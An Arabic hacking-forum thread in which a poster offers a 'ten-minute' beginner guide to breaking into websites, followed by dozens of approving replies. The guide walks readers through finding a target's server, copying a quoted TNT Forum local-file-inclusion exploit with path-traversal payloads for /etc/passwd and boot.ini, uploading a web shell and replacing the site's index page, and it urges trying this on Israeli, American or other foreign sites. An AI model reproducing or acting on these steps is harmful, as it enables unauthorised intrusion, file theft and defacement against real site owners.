تعال يامبتدا 10دقايق وتكون هكر مواقع :)

[JoKeR_pS]

بسم الله الرحمن الرحيم

السلام عليكم جميعآ



هذي اول مشاركه لي بالمنتدا الحلو حبيت اشارك بشي حلو للمنتدا الحلو <اقول لا يكثر هههههههه
ابيك تركز زين وتفهمني ..قفل المسن والجوال كمان واذا فيه احد عندك بالغرفه طلعه وخليك بجو هاااااااادئ عشان تركز<~~ماتحس انك طولتها هههههههه يالله..^_^

بـسم آلله _- نبدأ-_
آول شي لآزم نعرف آلموقع على آي سيرفر

والسيرفر معنآه ( خآدم )
ونطلع آلآي بي (ip) آلموووقع
رآح تقولي يااستكنان كيف آطلع كل هذا ؟؟

آقولك روح لي (( آبدأ (start) ــــ> وبعدين لي تشغيل (ren) ـــ> بعدين آكتب cmd
رآح تطلع لك شآشه سودآ
بعين آكتب ping
وبعدين رآبط آلموقع بدون (vb) ولآ(http)

يعني كذا ping www.xxxx.com

ولاتنسى آلمسآفه بين ping ورآبط آلموقع

_-_-_-_-_-_-_-_-_-_-_-_-_-_-
وبعدين تطلع لك آرقآم كثيره كلهآ نفس الشي
خذ آول آلآرقآم وحفظه

وبعدين روح لي
www.live.com
آو
www.msn.com

وكتب كذا :
ip:XXXXXXXXX
علمآ آن XXXXX آي بي آلموقع ( ip)
آلحين طلعنآ آلسيرفر وخلصنآ رآح تقولي
شلون آبي آخترق آلحين ؟؟؟؟؟؟؟؟؟؟؟؟

آقولك يآطويل العمر
روح للموقع هذا :
http://www.milw0rm.com/×××apps.php

ودور آخر آلثغرآآت

ورآح تقولي آنآ لقيت ثغره وشلون آخترق آلموقع آلحين .؟.؟
آقولك آدخل على آول وحد يعني آول موضوع
رآح تطلع لك شآشه بيضآء مكتوب عليهآ نفس كذآ :

================================================== ====
TNT Forum 0.9.4 Local File Inclusion Vulnerabilities
================================================== ====

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'


AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us


################################################## ###
APPLICATION : TNT Forum
VERSION : 0.9.4
DOWNLOAD : download.tntforum.tuttoeniente.net
################################################## ###

---LFI---

################################################## ###############
Vulnerable in index.php:

137: //Variabili generali
138: $modulo = @$____['modulo'];
139: $modfile = 'mod_'.$modulo.'.php';
################################################## ###############

Exploit:

[+] For Windows
http://[Tar___]/[tntforum_path]/index.php?modulo=../../../../../../../../boot.ini%00

[+] For Linux
http://localhost/tntforum/index.php?.../etc/passwd%00


################################################## ################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #
################################################## ################

# milw0rm.com [2008-06-10]

آدري آنك مآفهمت شي
آلحين روح دور على كلمة :
Example

آذآ لقيتهآ رآح تلقآ جنبهآ آو تحتها آستغلال آلثغره ( آلآستغلال هو آهم شي ومآيحتآج شرح )

وهذآ هو آلآستغلال :
http://localhost/tntforum/index.php?.../etc/passwd%00


هذآ تحطه بعد رآبط آلموقع على طول يعني يصير كذآ :
http://xxxx.com/tntforum/index.php?m.../etc/passwd%00



علمآ آن آخر كلمة بعد علآمه = هذي=../../../../../../../../الشل

ولآ تنسى تكتب آخر شي "؟" علامة ؟ هي آهم شي هالعلامه (؟)
نفضر آننآ طلعنآ آلسيرفر وطلعنآ آلآي بي ip وطلعنآ آلثغره وآلآستغلآل
نفتضر آن آلرآبط طلع خطأ!!!!
معنآتهآ آن آلثغره مرقعه يعني مآيصير
تروح لي للموضوع آلثآني وآنت تدوور على آلآستغلال

آلحين آنت تقولي من وين آجيب آلشل ؟.
آقول روح دور بمواضيع المنتدا تلقا
_-__-_-_-_-_-_--_--_------
آنت آلحين تقولي آنآ رفعت آلشل آلحين
وش آسوي ؟؟؟؟؟؟؟؟؟؟ووش آلفآيده آلحين .؟؟؟؟؟

وش آلفآيده ؟ آنك آلحين تشوف كل ملفآت آلموقع بس وتحذف وتعدل بس بشرط !!!!!

آذآ كآنت حآلتك root على آلسيرفر فأنت آلملك آلحين !
وذآ كآنت حآلتك user فآنت وزير الملك
وآذآ كآنت حآلتك nbode
فآنت زآئر مآتقدر تعدل ولآ تحذف آلآعلى آلموقع آلي عليها تصريح (777)
تقدر تسوي آلي تبي !
وتقولي شلون آدري آن فيه موآقع عليها تصريح (777)

آقولك رآح يكون لونهآ آخضر !

ولحين رآح تقولي وش آسوي آبي آخترق آلموقع !





رآح آقولك آدخل على آلموقع آلي تبيه

وبعدين روح لي UP وبعدين آستعرآض وبعدين آندكس آلآخترآآآآآق

________________________________

ومبروووووووووووووووووك آخترقت آلموقع

هذا الي عندي <<~~~اذا عجبكم الموضوع لا تبخلو بالتقييم

ارجو ان التجريب يكون ع مواقع اسرائليه ولا امريكيه ولا اجنبيه اهم شي اني ابري نفسي

[System 32]

أبداع

أخووووي joker.
علي الموووضووع الرائع


:)

[e . V . E . L]

موضوع رائع ويستحق التقييم

[Crazy.meta]

حلو حلو حلو كفوا يا ذيب يعطيك العافيه وراح اقيمك على الموضوع الحلو ومشكور

[جميلة]

تعال يامبتدا 10دقايق وتكون هكر مواقع :)

good luck

[جميلة]

السلام عليكم جميعآ
3id mobarak
17\11\2010

[spy_spy]

مواضيعك جميله جدا اخى الكريم وبجد كانت من المواضيع الى شجعتنى اكون مبتداء فى الهاك والتسجيل بالمنتدى

بجد تستاهل احلى تقيمم

تقبل مرورى

Spy_Spy

[ViRuS07]

جمييييييييل بمعنى الكلمه والله انك ذيب وصدقت يوم قلت راح تصير هكر مواقع في 10 دقايق

ولا تحرمنا من ابداعك ياقميل :$

[JoKeR_pS]

هلا خواتي واخواني والله مروركم وسام على صدري و تسلمـو على التقيييم):

[الإرهابي]

مشكوووووووووووووووووو اخي joker تستاهل كل خير

تقبل مروري

[HiMO LOV]

وبعدين تطلع لك آرقآم كثيره كلهآ نفس الشي
خذ آول آلآرقآم وحفظه

وبعدين روح لي
http://links.aljyyosh.info?http://www.live.com/
آو
http://links.aljyyosh.info?http://www.msn.com/

وكتب كذا :
ip:XXXXXXXXX
علمآ آن XXXXX آي بي آلموقع ( ip)
آلحين طلعنآ آلسيرفر وخلصنآ ,


آإنآ فتحت الرابطُ الي انت حاطه ُيطلع نفس الموقع

ياليت تصوره ونشوف كيفٌ ,’

[mr.lonelly]

بصراحه الله يعطيك العافيه درس متعوب عليه
__________________________-
ترقبو سيدي الاختراق الشامل مع تحياتي

[usama]

السلام عليكم :
ما في غير هذا الموقع "http://www.milw0rm.com/×××apps.php" أو "http://securityfocus.com" جيب منو اكسبلويتات لأنه لا يعمل في دولتي.

[SK SpawN]

تسلم اخي مع اني لم افهم شي

وانا نوووب في الاختراق :d

[mr.lonelly]

تشكر على المجهود الرائع بس هاد الرابط مو شغال http://www.milw0rm.com/×××apps.php
تقبل مروري

[keeme]

كفو
يعطيك العافيه تقبل مروري

[حلمي جباعته]

مشكور حب بس بدل الموقع الاول لازم ايكون هاذا عشان اطلع كل اليوزراتhttp://www.a7ibahome.com/tom/sym4.php وبعدين ابتدخل ع http://www.a7ibahome.com/tom/teamsql.php طبعن هاذا الموقع ما بفتح ليش؟
http://www.a7ibahome.com/tom/teamsql.php ممكن حد ايقولي ليش؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ ؟؟؟؟؟؟؟؟؟

[hosnitunis]

مشكور جدا على الشرح الوافي أنا هاك مبتدئ وأتمنى أن أتعلم على أيدي الكبار أمثالكم

[younes_ainsbaa]

شكرًا أخي شرح واضح و مفهوم أخوك يونس تقبل مروري


أريد أن أضيف في الأخير...
إهداء لمن لا يعرف في هدا الشأن

بعد اغلاق موقع milw0rm.com ظهرت عدة مواقع لتحل مكانه ولعل الافضل من بينها هو موقع explo.it أو exploit-db.com
فهذا الموقع يحتوي على الكثير من التغرات، وجيمع الثغرات الموجودة على milw0rm تم أرشفتها على هذا الموقع وهي جاهز للتحميل مع مزايا جديدة.. أترك لكم اكتشافه

وشكرا..

[السيابي]

ثااااااااااااااااااااااان كس

[السيابي]

مشكوووووووووووووووووووور

[السيابي]

سوري قصدي نايس

[madira35]

مشكوووووووووووووووووو اخي

[madira35]

مشكوووووووووووووووووور

[V!RUS TROJAN]

يعطيك الف الف عافيه يا جوكر مبدع

واصل تقدمك

تحياتي لك وبتوفيق

[السيابي]

اسف اخي بس والله كااان قصدي ثاانكس
ثااااااااااااااااااااااان كس

[هكر بيصير كبير]

ههههههههههههههههه والله انك ذيب اصلن الذيابه تخاف منك اجل كيف المواقع كبيراخـوي joker مشكووووروواصل ابدعاتك والى الامام بان الله

[Mad Devil]

مشكوررر يالغالي تسلم
تحياتي

[سمسم 2011]

اسلام عليكم ورحمة الله للحين الطريقة هذي شغالة لاني حاولت اطبقها وامشي مع الخطوات بس مانجحت معي ولا فقط تصلح مع مواقع معينة وشكرا

[azozalhafr]

ياااسلام عليك كفووو والله

[tofike1]

الف شكر وجزاك الله خير على الابداع الحلو

الطريقه سهله ومميزه

تستاهل خبر

[Black Prince]

Thannxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx to you:redface:

[ksora]

مشكوووووووووووووووووور

[sco0or]

الله يعطيك العافية

[mr.top]

ابداااااااااااااااااااااا ااااااااااااااااااااااااا ااااااااااااااااااااااااا ااااااااااااااااااااااااا ااااااااااااااااااااااااا اااااع ياjoker

تقبل مروري

[القلب النابض]

يعطيك العافيه مجهود تشكر عليه

[Strong of Hacker]

مشكووور اخوي على الموضوع الرائع و الأفادة الأروع
ثابر الى الأمام يا مبدع
بأنتظار المزيد من الأبداع و الفن
تقبل مروري البسيط

[Hacker620]

على كذا احتاج 10 ساعات مو عشر دقائق

[إبراهيم سليمان]

جميل جدا اخي تسلم يا غالي علي موضوعك الرائع جدا ده

[جروح الهكر]

شكرا اخوووووووووووووووووووووي ولاكن الروابط ما هي شغااله ولك تحيااتي

[سكوربيو]

خير الكلام ماقل ونفع *_^ يعــطيكـ الف عافية وانشاء الله ترج لنا اذا سمحت لك ياجوكر

تحياتى يالغلا

[Lord_Ps]

شكرا لك جزير الشكر لكنني بصراحه ما فهمت كل اشي

[h2006sa]

السلام عليكم ورحمة الله وبركاته

بس حبيت اسالك هل استيع ان اخترق مواقع الالعاب مثل حرب التتار وغيرها؟؟؟


وهل....استطيع...تغير الارقام بواسطة ...فحص العنصر قوقيل الجديد؟؟؟

[Spire_Barde]

موضوع رائع لكنه يلزمه بعض التطوير

تقبل مروري

[اليوم الاول]

جزاك الله خير

[sami abo lorns]

ولا أروع يعطيك العافية أخ جوكر

[شبح المهكرين]

شكرا لك ابدااع

[Lord_Ps]

فهمت شوي وهيني بجرب شكرا لك اخ جوكر

[ذوالفقار قاهر الصهيونية]

يعطيك الف عافية

[black.angel]

موضوعك جميل و شرحك سهل بس ما فهمت ليه نروح على www.live.com or www.msn.com ??

[hacker1990]

ياريت ال يكتب مواضيع يستخدم اللغه العربيه الفصحه علي أد مايقدر عشان كلنا نفهم

[mr.e3dam]

مہہشہہكہہؤؤؤر لہہبہہى قہہلہہبہہكہہ

واصہہلہہ ابہہداعہہكہہ

تہہقہہبہہلہہ مہہروريہہ

والہہتہہقہہيہہمہہ = مہمہتہآآز

اخہہوكہہ : Mr.e3dam

[PixXo]

شكرا لك .. موضوع رآئع

[mr_Dos]

يعطيك الف عآفية يآآ رب.. آختصآآر مو طبيعي ههه ...

[سوبر نت]

مشكوووور ابداااع يالغالي

[سوبر نت]

مشكؤؤؤر بس فييه رابط ملسفتح معي

[black hucker 4 ever]

والله يا اخوي انت ما قصرت

[مهكر القلوب]

مشكووووووووووووووووووووور